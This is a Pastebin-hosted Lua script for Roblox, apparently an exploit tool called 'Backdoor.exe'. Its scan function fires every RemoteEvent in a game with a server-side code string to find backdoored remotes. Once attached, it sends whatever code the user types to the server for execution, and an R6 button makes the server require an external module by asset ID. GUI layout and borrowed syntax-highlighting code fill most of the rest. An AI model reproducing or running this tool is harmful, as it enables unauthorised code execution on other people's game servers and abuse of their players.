Sectly_Playz

27st3's Remote Check

Jan 9th, 2021 (edited)
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 20.78 KB | None | 0 0
  1. LocalPlayer = game:GetService("Players").LocalPlayer
  2.  
  3. function Notify(title, text)
  4.     game:GetService("StarterGui"):SetCore(
  5.     "SendNotification",
  6.     {
  7.         Title = title,
  8.         Text = text
  9.     }
  10.     )
  11. end
  12.  
  13.  
  14. local salt = "41684139854"
  15. for _, gui in pairs(game:GetService("CoreGui").RobloxGui:GetChildren()) do
  16.     if gui:IsA("ScreenGui") and string.match(gui.Name, salt) then
  17.         gui:Destroy()
  18.     end
  19. end
  20.  
  21. local backdoorexesource = Instance.new("ScreenGui")
  22. if syn then syn.protect_gui(backdoorexesource) end
  23. local Main = Instance.new("Frame")
  24. local sourceFrame = Instance.new("ScrollingFrame")
  25. local source = Instance.new("TextBox")
  26. local lines = Instance.new("TextLabel")
  27. local Globals_ = Instance.new("TextLabel")
  28. local Keywords_ = Instance.new("TextLabel")
  29. local Numbers_ = Instance.new("TextLabel")
  30. local RemoteHighlight_ = Instance.new("TextLabel")
  31. local Strings_ = Instance.new("TextLabel")
  32. local Tokens_ = Instance.new("TextLabel")
  33. local Comments_ = Instance.new("TextLabel")
  34. local executeButton = Instance.new("TextButton")
  35. local AttachButton = Instance.new("TextButton")
  36. local clearButton = Instance.new("TextButton")
  37. local closeButton = Instance.new("TextButton")
  38. local Minimise = Instance.new("TextButton")
  39. local backdoorexe = Instance.new("TextLabel")
  40. local R6Button = Instance.new("TextButton")
  41. local UICorner = Instance.new("UICorner")
  42. local sourceEngine = Instance.new("TextLabel")
  43.  
  44. backdoorexesource.Name =
  45.     tostring(
  46.         math.random(0, 9) ..
  47.         math.random(0, 9) ..
  48.         math.random(0, 9) ..
  49.         math.random(0, 9) ..
  50.         math.random(0, 9) ..
  51.         math.random(0, 9) ..
  52.         math.random(0, 9) ..
  53.         math.random(0, 9) .. math.random(0, 9) .. math.random(0, 9) .. math.random(0, 9) .. salt
  54.     )
  55. backdoorexesource.Parent = game.CoreGui.RobloxGui
  56. backdoorexesource.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  57. backdoorexesource.ResetOnSpawn = false
  58.  
  59. Main.Name = "Main"
  60. Main.Parent = backdoorexesource
  61. Main.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
  62. Main.BorderColor3 = Color3.fromRGB(31, 31, 31)
  63. Main.BorderSizePixel = 2
  64. Main.Position = UDim2.new(0.264460564, 0, 0.279420495, 0)
  65. Main.Size = UDim2.new(0, 624, 0, 358)
  66.  
  67. sourceFrame.Name = "sourceFrame"
  68. sourceFrame.Parent = Main
  69. sourceFrame.Active = true
  70. sourceFrame.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  71. sourceFrame.BorderColor3 = Color3.fromRGB(26, 26, 26)
  72. sourceFrame.BorderSizePixel = 3
  73. sourceFrame.Position = UDim2.new(0.0199999679, 0, 0.0970791876, 0)
  74. sourceFrame.Size = UDim2.new(0, 598, 0, 270)
  75.  
  76. source.Name = "source"
  77. source.Parent = sourceFrame
  78. source.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  79. source.BorderSizePixel = 0
  80. source.Position = UDim2.new(0.0352144279, 0, 0, 0)
  81. source.Size = UDim2.new(0, 569, 0, 1744)
  82. source.ClearTextOnFocus = false
  83. source.Font = Enum.Font.Code
  84. source.MultiLine = true
  85. source.PlaceholderText = "--script here"
  86. source.Text = ""
  87. source.TextColor3 = Color3.fromRGB(255, 255, 255)
  88. source.TextSize = 18.000
  89. source.TextWrapped = true
  90. source.TextXAlignment = Enum.TextXAlignment.Left
  91. source.TextYAlignment = Enum.TextYAlignment.Top
  92.  
  93. lines.Name = "lines"
  94. lines.Parent = source
  95. lines.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  96. lines.BorderColor3 = Color3.fromRGB(84, 84, 84)
  97. lines.Position = UDim2.new(-0.0403855219, 0, 0, 0)
  98. lines.Size = UDim2.new(0, 20, 0, 1742)
  99. lines.Font = Enum.Font.Code
  100. lines.Text = "1"
  101. lines.TextColor3 = Color3.fromRGB(255, 255, 255)
  102. lines.TextSize = 18.000
  103. lines.TextYAlignment = Enum.TextYAlignment.Top
  104.  
  105. Globals_.Name = "Globals_"
  106. Globals_.Parent = source
  107. Globals_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  108. Globals_.BackgroundTransparency = 1.000
  109. Globals_.ClipsDescendants = true
  110. Globals_.Size = UDim2.new(0, 561, 0, 1744)
  111. Globals_.ZIndex = 5
  112. Globals_.Font = Enum.Font.Code
  113. Globals_.Text = ""
  114. Globals_.TextColor3 = Color3.fromRGB(132, 214, 247)
  115. Globals_.TextSize = 18.000
  116. Globals_.TextWrapped = true
  117. Globals_.TextXAlignment = Enum.TextXAlignment.Left
  118. Globals_.TextYAlignment = Enum.TextYAlignment.Top
  119.  
  120. Keywords_.Name = "Keywords_"
  121. Keywords_.Parent = source
  122. Keywords_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  123. Keywords_.BackgroundTransparency = 1.000
  124. Keywords_.ClipsDescendants = true
  125. Keywords_.Size = UDim2.new(0, 561, 0, 1744)
  126. Keywords_.ZIndex = 5
  127. Keywords_.Font = Enum.Font.Code
  128. Keywords_.Text = ""
  129. Keywords_.TextColor3 = Color3.fromRGB(248, 109, 124)
  130. Keywords_.TextSize = 18.000
  131. Keywords_.TextWrapped = true
  132. Keywords_.TextXAlignment = Enum.TextXAlignment.Left
  133. Keywords_.TextYAlignment = Enum.TextYAlignment.Top
  134.  
  135. Numbers_.Name = "Numbers_"
  136. Numbers_.Parent = source
  137. Numbers_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  138. Numbers_.BackgroundTransparency = 1.000
  139. Numbers_.ClipsDescendants = true
  140. Numbers_.Size = UDim2.new(0, 561, 0, 1744)
  141. Numbers_.ZIndex = 4
  142. Numbers_.Font = Enum.Font.Code
  143. Numbers_.Text = ""
  144. Numbers_.TextColor3 = Color3.fromRGB(255, 194, 89)
  145. Numbers_.TextSize = 18.000
  146. Numbers_.TextWrapped = true
  147. Numbers_.TextXAlignment = Enum.TextXAlignment.Left
  148. Numbers_.TextYAlignment = Enum.TextYAlignment.Top
  149.  
  150. RemoteHighlight_.Name = "RemoteHighlight_"
  151. RemoteHighlight_.Parent = source
  152. RemoteHighlight_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  153. RemoteHighlight_.BackgroundTransparency = 1.000
  154. RemoteHighlight_.ClipsDescendants = true
  155. RemoteHighlight_.Size = UDim2.new(0, 561, 0, 1744)
  156. RemoteHighlight_.ZIndex = 5
  157. RemoteHighlight_.Font = Enum.Font.Code
  158. RemoteHighlight_.Text = ""
  159. RemoteHighlight_.TextColor3 = Color3.fromRGB(11, 255, 203)
  160. RemoteHighlight_.TextSize = 18.000
  161. RemoteHighlight_.TextWrapped = true
  162. RemoteHighlight_.TextXAlignment = Enum.TextXAlignment.Left
  163. RemoteHighlight_.TextYAlignment = Enum.TextYAlignment.Top
  164.  
  165. Strings_.Name = "Strings_"
  166. Strings_.Parent = source
  167. Strings_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  168. Strings_.BackgroundTransparency = 1.000
  169. Strings_.ClipsDescendants = true
  170. Strings_.Size = UDim2.new(0, 561, 0, 1744)
  171. Strings_.ZIndex = 5
  172. Strings_.Font = Enum.Font.Code
  173. Strings_.Text = ""
  174. Strings_.TextColor3 = Color3.fromRGB(173, 241, 149)
  175. Strings_.TextSize = 18.000
  176. Strings_.TextWrapped = true
  177. Strings_.TextXAlignment = Enum.TextXAlignment.Left
  178. Strings_.TextYAlignment = Enum.TextYAlignment.Top
  179.  
  180. Tokens_.Name = "Tokens_"
  181. Tokens_.Parent = source
  182. Tokens_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  183. Tokens_.BackgroundTransparency = 1.000
  184. Tokens_.ClipsDescendants = true
  185. Tokens_.Size = UDim2.new(0, 561, 0, 1744)
  186. Tokens_.ZIndex = 5
  187. Tokens_.Font = Enum.Font.Code
  188. Tokens_.Text = ""
  189. Tokens_.TextColor3 = Color3.fromRGB(255, 255, 255)
  190. Tokens_.TextSize = 18.000
  191. Tokens_.TextWrapped = true
  192. Tokens_.TextXAlignment = Enum.TextXAlignment.Left
  193. Tokens_.TextYAlignment = Enum.TextYAlignment.Top
  194.  
  195. Comments_.Name = "Comments_"
  196. Comments_.Parent = source
  197. Comments_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  198. Comments_.BackgroundTransparency = 1.000
  199. Comments_.ClipsDescendants = true
  200. Comments_.Size = UDim2.new(0, 561, 0, 1744)
  201. Comments_.Visible = false
  202. Comments_.ZIndex = 5
  203. Comments_.Font = Enum.Font.Code
  204. Comments_.Text = ""
  205. Comments_.TextColor3 = Color3.fromRGB(86, 86, 86)
  206. Comments_.TextSize = 18.000
  207. Comments_.TextTransparency = 1.000
  208. Comments_.TextWrapped = true
  209. Comments_.TextXAlignment = Enum.TextXAlignment.Left
  210. Comments_.TextYAlignment = Enum.TextYAlignment.Top
  211.  
  212. executeButton.Name = "executeButton"
  213. executeButton.Parent = Main
  214. executeButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  215. executeButton.BorderSizePixel = 0
  216. executeButton.Position = UDim2.new(0.0192307699, 0, 0.881985486, 0)
  217. executeButton.Size = UDim2.new(0, 200, 0, 33)
  218. executeButton.Font = Enum.Font.Gotham
  219. executeButton.Text = "Execute"
  220. executeButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  221. executeButton.TextSize = 20.000
  222.  
  223. AttachButton.Name = "AttachButton"
  224. AttachButton.Parent = Main
  225. AttachButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  226. AttachButton.BorderSizePixel = 0
  227. AttachButton.Position = UDim2.new(0.355769217, 0, 0.881985486, 0)
  228. AttachButton.Size = UDim2.new(0, 179, 0, 33)
  229. AttachButton.Font = Enum.Font.Gotham
  230. AttachButton.Text = "Attach"
  231. AttachButton.TextColor3 = Color3.fromRGB(255,255,255)
  232. AttachButton.TextSize = 20.000
  233.  
  234. clearButton.Name = "clearButton"
  235. clearButton.Parent = Main
  236. clearButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  237. clearButton.BorderSizePixel = 0
  238. clearButton.Position = UDim2.new(0.657051265, 0, 0.881985486, 0)
  239. clearButton.Size = UDim2.new(0, 200, 0, 33)
  240. clearButton.Font = Enum.Font.Gotham
  241. clearButton.Text = "Clear"
  242. clearButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  243. clearButton.TextSize = 20.000
  244.  
  245. closeButton.Name = "closeButton"
  246. closeButton.Parent = Main
  247. closeButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  248. closeButton.BorderSizePixel = 0
  249. closeButton.Position = UDim2.new(0.915064096, 0, 0.0183475856, 0)
  250. closeButton.Size = UDim2.new(0, 39, 0, 20)
  251. closeButton.Font = Enum.Font.Gotham
  252. closeButton.Text = "X"
  253. closeButton.TextColor3 = Color3.fromRGB(255, 66, 69)
  254. closeButton.TextSize = 20.000
  255.  
  256. Minimise.Name = "Minimise"
  257. Minimise.Parent = Main
  258. Minimise.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  259. Minimise.BorderSizePixel = 0
  260. Minimise.Position = UDim2.new(0.842948735, 0, 0.0183475856, 0)
  261. Minimise.Size = UDim2.new(0, 39, 0, 20)
  262. Minimise.Font = Enum.Font.Gotham
  263. Minimise.Text = "-"
  264. Minimise.TextColor3 = Color3.fromRGB(255, 255, 255)
  265. Minimise.TextSize = 20.000
  266.  
  267. backdoorexe.Name = "backdoorexe"
  268. backdoorexe.Parent = Main
  269. backdoorexe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  270. backdoorexe.BackgroundTransparency = 1.000
  271. backdoorexe.BorderSizePixel = 0
  272. backdoorexe.Position = UDim2.new(0.0176282059, 0, 0.0195487682, 0)
  273. backdoorexe.Size = UDim2.new(0, 178, 0, 19)
  274. backdoorexe.Font = Enum.Font.Gotham
  275. backdoorexe.Text = "Backdoor.exe"
  276. backdoorexe.TextColor3 = Color3.fromRGB(255, 255, 255)
  277. backdoorexe.TextSize = 30.000
  278.  
  279. R6Button.Name = "R6Button"
  280. R6Button.Parent = Main
  281. R6Button.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  282. R6Button.BorderSizePixel = 0
  283. R6Button.Position = UDim2.new(0.767628193, 0, 0.0183475856, 0)
  284. R6Button.Size = UDim2.new(0, 39, 0, 20)
  285. R6Button.Font = Enum.Font.Gotham
  286. R6Button.Text = "R6"
  287. R6Button.TextColor3 = Color3.fromRGB(50, 50, 50)
  288. R6Button.TextSize = 20.000
  289.  
  290. UICorner.Parent = R6Button
  291.  
  292. sourceEngine.Name = "sourceEngine"
  293. sourceEngine.Parent = Main
  294. sourceEngine.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  295. sourceEngine.BackgroundTransparency = 1.000
  296. sourceEngine.BorderSizePixel = 0
  297. sourceEngine.Position = UDim2.new(0.288461536, 0, 0.0183475427, 0)
  298. sourceEngine.Size = UDim2.new(0, 94, 0, 9)
  299. sourceEngine.Font = Enum.Font.Gotham
  300. sourceEngine.Text = "Source λ"
  301. sourceEngine.TextColor3 = Color3.fromRGB(255, 134, 47)
  302. sourceEngine.TextSize = 18.000
  303.  
  304. verboseOutput = false
  305. instantScanMode = true
  306. local UserInputService = game:GetService("UserInputService")
  307. local gui = Main
  308. local dragging
  309. local dragInput
  310. local dragStart
  311. local startPos
  312. EasingDir = Enum.EasingDirection.Out
  313. EasingSty = Enum.EasingStyle.Quint
  314. EasingTim = 0.69 --nice
  315. EasingOve = true
  316.  
  317. local function update(input)
  318.     local delta = input.Position - dragStart
  319.     gui:TweenPosition(
  320.         UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y),
  321.         EasingDir,
  322.         EasingSty,
  323.         EasingTim,
  324.         EasingOve
  325.     )
  326.     game:GetService("RunService").Stepped:Wait()
  327. end
  328. gui.InputBegan:Connect(
  329.     function(input)
  330.         if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  331.             dragging = true
  332.             dragStart = input.Position
  333.             startPos = gui.Position
  334.             input.Changed:Connect(
  335.                 function()
  336.                     if input.UserInputState == Enum.UserInputState.End then
  337.                         dragging = false
  338.                     end
  339.                 end
  340.             )
  341.         end
  342.     end
  343. )
  344. gui.InputChanged:Connect(
  345.     function(input)
  346.         if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  347.             dragInput = input
  348.         end
  349.     end
  350. )
  351. UserInputService.InputChanged:Connect(
  352.     function(input)
  353.         if input == dragInput and dragging then
  354.             update(input)
  355.         end
  356.     end
  357. )
  358.  
  359. checkDebounce = true
  360. function Attached()
  361.     if workspace:FindFirstChild(valueName) then
  362.         game.workspace:WaitForChild(valueName):Destroy()
  363.     end
  364.     executeButton.TextColor3 = Color3.fromRGB(255,255,255)
  365.     clearButton.TextColor3 = Color3.fromRGB(255,255,255)
  366.     R6Button.TextColor3 = Color3.fromRGB(255,255,255)
  367.     source.TextEditable = true
  368.     Notify('Backdoor.exe','Attached')
  369.     found = true
  370. end
  371. cachEnabled = false
  372. found = false
  373. local LocalPlayer = LocalPlayer
  374. valueName =
  375.     "dfees2x" ..
  376.     LocalPlayer.Name ..
  377.     string.char(math.random(65, 90)) .. string.char(math.random(65, 90)) .. math.random(100000, 999999)
  378. function check()
  379.     if workspace:FindFirstChild(valueName) then
  380.         remote = stringToInstance(workspace:FindFirstChild(valueName).Value)
  381.         return true
  382.     end
  383. end
  384. function stringToInstance(str) -- Credits to the DevForum
  385.     local dir = str
  386.     local segments = dir:split(".")
  387.     local current = game
  388.     for i, v in pairs(segments) do
  389.         current = current[v]
  390.     end
  391.     return current
  392. end
  393. function scan()
  394.     found = false
  395.     scanDebounce = false
  396.     executeButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  397.     clearButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  398.     R6Button.TextColor3 = Color3.fromRGB(50, 50, 50)
  399.     source.TextEditable = false
  400.     for _, rm in pairs(game:GetDescendants()) do
  401.         if rm.ClassName == "RemoteEvent" and not found then
  402.             rm:FireServer(
  403.                 "a = Instance.new('StringValue',workspace) a.Name = '" ..
  404.                     valueName .. "' a.Value = '" .. rm:GetFullName() .. "'"
  405.             )
  406.             game:GetService("RunService").Stepped:Wait()
  407.             if check() then
  408.                 Attached()
  409.                 backdoor = remote:GetFullName()
  410.                 break
  411.             end
  412.         end
  413.     end
  414.     if not found then
  415.         wait(1.5)
  416.         if check() then
  417.             Attached()
  418.             backdoor = remote:GetFullName()
  419.         end
  420.     end
  421.     if not found then
  422.         Notify("backdoor.exe","Status: failed to find a backdoor")
  423.     end
  424.     wait(0.01)
  425.     scanDebounce = true
  426. end
  427. Adebounce = true
  428. AttachButton.MouseButton1Click:Connect(
  429.     function()
  430.         if Adebounce then
  431.             Adebounce = false
  432.             for _, cach in pairs(game:GetDescendants()) do
  433.                 if cach.ClassName == "StringValue" and cach.Name == "cached remote" then
  434.                     local backdoor = cach.Parent:GetFullName()
  435.                     remote = cach.Parent
  436.                     Attached()
  437.                     cached = true
  438.                     Adebounce = true
  439.                     break
  440.                 end
  441.             end
  442.             if game.ReplicatedStorage:FindFirstChild("Chat") then
  443.                 qrm = game.ReplicatedStorage:FindFirstChild("Chat")
  444.                 qrm:FireServer(Script)
  445.                 wait(0.15)
  446.                 if check(qrm) then
  447.                     Attached()
  448.                 end
  449.                 rsc = true
  450.             end
  451.             if not cached and not rsc then
  452.                 scan()
  453.                 Adebounce = true
  454.             end
  455.         end
  456.     end
  457. )
  458. clearButton.MouseButton1Click:Connect(
  459.     function()
  460.         source.TextEditable = false
  461.         source.Text = "*poof*"
  462.         wait(.25)
  463.         source.Text = ""
  464.         source.TextEditable = true
  465.     end
  466. )
  467. closeButton.MouseButton1Click:Connect(
  468.     function()
  469.         Main:TweenPosition(UDim2.new(0, 0, -1, 0))
  470.         wait(1)
  471.         backdoorexesource:Destroy()
  472.     end
  473. )
  474. R6Button.MouseButton1Click:Connect(
  475.     function()
  476.         if found then
  477.             remote:FireServer('require(3041175937):r6("' .. LocalPlayer.Name .. '")')
  478.         end
  479.     end
  480. )
  481. executeButton.MouseButton1Click:connect(
  482.     function()
  483.         if found then
  484.             remote:FireServer(source.Text)
  485.         end
  486.     end
  487. )
  488. scanDebounce = true
  489.  
  490. -- Line Counter -- Credits to JohnWare, just slightly modified it..
  491. -- This code is amazing code
  492. source.Changed:Connect(
  493.     function(Change)
  494.         if Change == "TextBounds" then
  495.             local Amount = source.TextBounds.Y / 18
  496.             lines.Text = ""
  497.             for i = 1, Amount do
  498.                 lines.Text = lines.Text .. i .. "\n"
  499.             end
  500.         end
  501.     end
  502. )
  503.  
  504. -- [[ Syntax Highlight ]] -- Not made by me, I DO NOT TAKE CREDITS FOR THESE NOT IN THE SLIGHTEST IM NOT SMART ENOUGH FOR THIS SHIT
  505. -- also amazing code and I could never come up with this, ALL credits go to the respectfull creator!
  506. local lua_keywords = {
  507.     "and",
  508.     "break",
  509.     "do",
  510.     "else",
  511.     "elseif",
  512.     "end",
  513.     "false",
  514.     "for",
  515.     "function",
  516.     "goto",
  517.     "if",
  518.     "in",
  519.     "local",
  520.     "nil",
  521.     "not",
  522.     "or",
  523.     "repeat",
  524.     "return",
  525.     "then",
  526.     "true",
  527.     "until",
  528.     "while"
  529. }
  530. local global_env = {
  531.     "getrawmetatable",
  532.     "game",
  533.     "workspace",
  534.     "script",
  535.     "math",
  536.     "string",
  537.     "table",
  538.     "print",
  539.     "wait",
  540.     "BrickColor",
  541.     "Color3",
  542.     "next",
  543.     "pairs",
  544.     "ipairs",
  545.     "select",
  546.     "unpack",
  547.     "Instance",
  548.     "Vector2",
  549.     "Vector3",
  550.     "CFrame",
  551.     "Ray",
  552.     "UDim2",
  553.     "Enum",
  554.     "assert",
  555.     "error",
  556.     "warn",
  557.     "tick",
  558.     "loadstring",
  559.     "_G",
  560.     "shared",
  561.     "getfenv",
  562.     "setfenv",
  563.     "newproxy",
  564.     "setmetatable",
  565.     "getmetatable",
  566.     "os",
  567.     "debug",
  568.     "pcall",
  569.     "ypcall",
  570.     "xpcall",
  571.     "rawequal",
  572.     "rawset",
  573.     "rawget",
  574.     "tonumber",
  575.     "tostring",
  576.     "type",
  577.     "typeof",
  578.     "_VERSION",
  579.     "coroutine",
  580.     "delay",
  581.     "require",
  582.     "spawn",
  583.     "LoadLibrary",
  584.     "settings",
  585.     "stats",
  586.     "time",
  587.     "UserSettings",
  588.     "version",
  589.     "Axes",
  590.     "ColorSequence",
  591.     "Faces",
  592.     "ColorSequenceKeypoint",
  593.     "NumberRange",
  594.     "NumberSequence",
  595.     "NumberSequenceKeypoint",
  596.     "gcinfo",
  597.     "elapsedTime",
  598.     "collectgarbage",
  599.     "PhysicalProperties",
  600.     "Rect",
  601.     "Region3",
  602.     "Region3int16",
  603.     "UDim",
  604.     "Vector2int16",
  605.     "Vector3int16"
  606. }
  607. local Highlight = function(string, keywords)
  608.     local K = {}
  609.     local S = string
  610.     local Token = {
  611.         ["="] = true,
  612.         ["."] = true,
  613.         [","] = true,
  614.         ["("] = true,
  615.         [")"] = true,
  616.         ["["] = true,
  617.         ["]"] = true,
  618.         ["{"] = true,
  619.         ["}"] = true,
  620.         [":"] = true,
  621.         ["*"] = true,
  622.         ["/"] = true,
  623.         ["+"] = true,
  624.         ["-"] = true,
  625.         ["%"] = true,
  626.         [";"] = true,
  627.         ["~"] = true
  628.     }
  629.     for i, v in pairs(keywords) do
  630.         K[v] = true
  631.     end
  632.     S =
  633.         S:gsub(
  634.             ".",
  635.             function(c)
  636.             if Token[c] ~= nil then
  637.                 return "\32"
  638.             else
  639.                 return c
  640.             end
  641.         end
  642.         )
  643.     S =
  644.         S:gsub(
  645.             "%S+",
  646.             function(c)
  647.             if K[c] ~= nil then
  648.                 return c
  649.             else
  650.                 return (" "):rep(#c)
  651.             end
  652.         end
  653.         )
  654.     return S
  655. end
  656. local hTokens = function(string)
  657.     local Token = {
  658.         ["="] = true,
  659.         ["."] = true,
  660.         [","] = true,
  661.         ["("] = true,
  662.         [")"] = true,
  663.         ["["] = true,
  664.         ["]"] = true,
  665.         ["{"] = true,
  666.         ["}"] = true,
  667.         [":"] = true,
  668.         ["*"] = true,
  669.         ["/"] = true,
  670.         ["+"] = true,
  671.         ["-"] = true,
  672.         ["%"] = true,
  673.         [";"] = true,
  674.         ["~"] = true
  675.     }
  676.     local A = ""
  677.     string:gsub(
  678.         ".",
  679.         function(c)
  680.             if Token[c] ~= nil then
  681.                 A = A .. c
  682.             elseif c == "\n" then
  683.                 A = A .. "\n"
  684.             elseif c == "\t" then
  685.                 A = A .. "\t"
  686.             else
  687.                 A = A .. "\32"
  688.             end
  689.         end
  690.     )
  691.     return A
  692. end
  693. local strings = function(string)
  694.     local highlight = ""
  695.     local quote = false
  696.     string:gsub(
  697.         ".",
  698.         function(c)
  699.             if quote == false and c == '"' then
  700.                 quote = true
  701.             elseif quote == false and c == "'" then
  702.                 quote = true
  703.             elseif quote == true and c == '"' then
  704.                 quote = false
  705.             elseif quote == true and c == "'" then
  706.                 quote = false
  707.             end
  708.             if quote == false and c == '"' then
  709.                 highlight = highlight .. '"'
  710.             elseif quote == false and c == "'" then
  711.                 highlight = highlight .. "'"
  712.             elseif c == "\n" then
  713.                 highlight = highlight .. "\n"
  714.             elseif c == "\t" then
  715.                 highlight = highlight .. "\t"
  716.             elseif quote == true then
  717.                 highlight = highlight .. c
  718.             elseif quote == false then
  719.                 highlight = highlight .. "\32"
  720.             end
  721.         end
  722.     )
  723.     return highlight
  724. end
  725. local comments = function(string)
  726.     local ret = ""
  727.     string:gsub(
  728.         "[^\r\n]+",
  729.         function(c)
  730.             local comm = false
  731.             local i = 0
  732.             c:gsub(
  733.                 ".",
  734.                 function(n)
  735.                     i = i + 1
  736.                     if c:sub(i, i + 1) == "--" then
  737.                         comm = true
  738.                     end
  739.                     if comm == true then
  740.                         ret = ret .. n
  741.                     else
  742.                         ret = ret .. "\32"
  743.                     end
  744.                 end
  745.             )
  746.             ret = ret
  747.         end
  748.     )
  749.     return ret
  750. end
  751. local numbers = function(string)
  752.     local A = ""
  753.     string:gsub(
  754.         ".",
  755.         function(c)
  756.             if tonumber(c) ~= nil then
  757.                 A = A .. c
  758.             elseif c == "\n" then
  759.                 A = A .. "\n"
  760.             elseif c == "\t" then
  761.                 A = A .. "\t"
  762.             else
  763.                 A = A .. "\32"
  764.             end
  765.         end
  766.     )
  767.     return A
  768. end
  769. local highlight_source = function(type)
  770.     if type == "Text" then
  771.         source.Text = source.Text:gsub("\13", "")
  772.         source.Text = source.Text:gsub("\t", "      ")
  773.         local s = source.Text
  774.         source.Keywords_.Text = Highlight(s, lua_keywords)
  775.         source.Globals_.Text = Highlight(s, global_env)
  776.         source.RemoteHighlight_.Text =
  777.             Highlight(
  778.                 s,
  779.                 {
  780.                     "FireServer",
  781.                     "fireServer",
  782.                     "InvokeServer",
  783.                     "invokeServer"
  784.                 }
  785.             )
  786.         source.Tokens_.Text = hTokens(s)
  787.         source.Numbers_.Text = numbers(s)
  788.         source.Strings_.Text = strings(s)
  789.         source.Comments_.Text = comments(s)
  790.         local lin = 1
  791.         s:gsub(
  792.             "\n",
  793.             function()
  794.                 lin = lin + 1
  795.             end
  796.         )
  797.         lines.Text = ""
  798.         for i = 1, lin do
  799.             lines.Text = lines.Text .. i .. "\n"
  800.         end
  801.     end
  802. end
  803. highlight_source("Text")
  804. source.Changed:Connect(highlight_source)
  805.  
  806. --------------------------------------------------------------------------------------------------------\
  807. WelcomeString = ("Sup, Peep 27st3 Was Here xD Also Hello " .. game.Players.LocalPlayer.Name .. " He He...")
  808. for i = 1, string.len(WelcomeString) do
  809.     wait(.01)
  810.     source.Text = string.sub(WelcomeString, 1, i)
  811. end
  812.  
Advertisement
Add Comment
Please, Sign In to add comment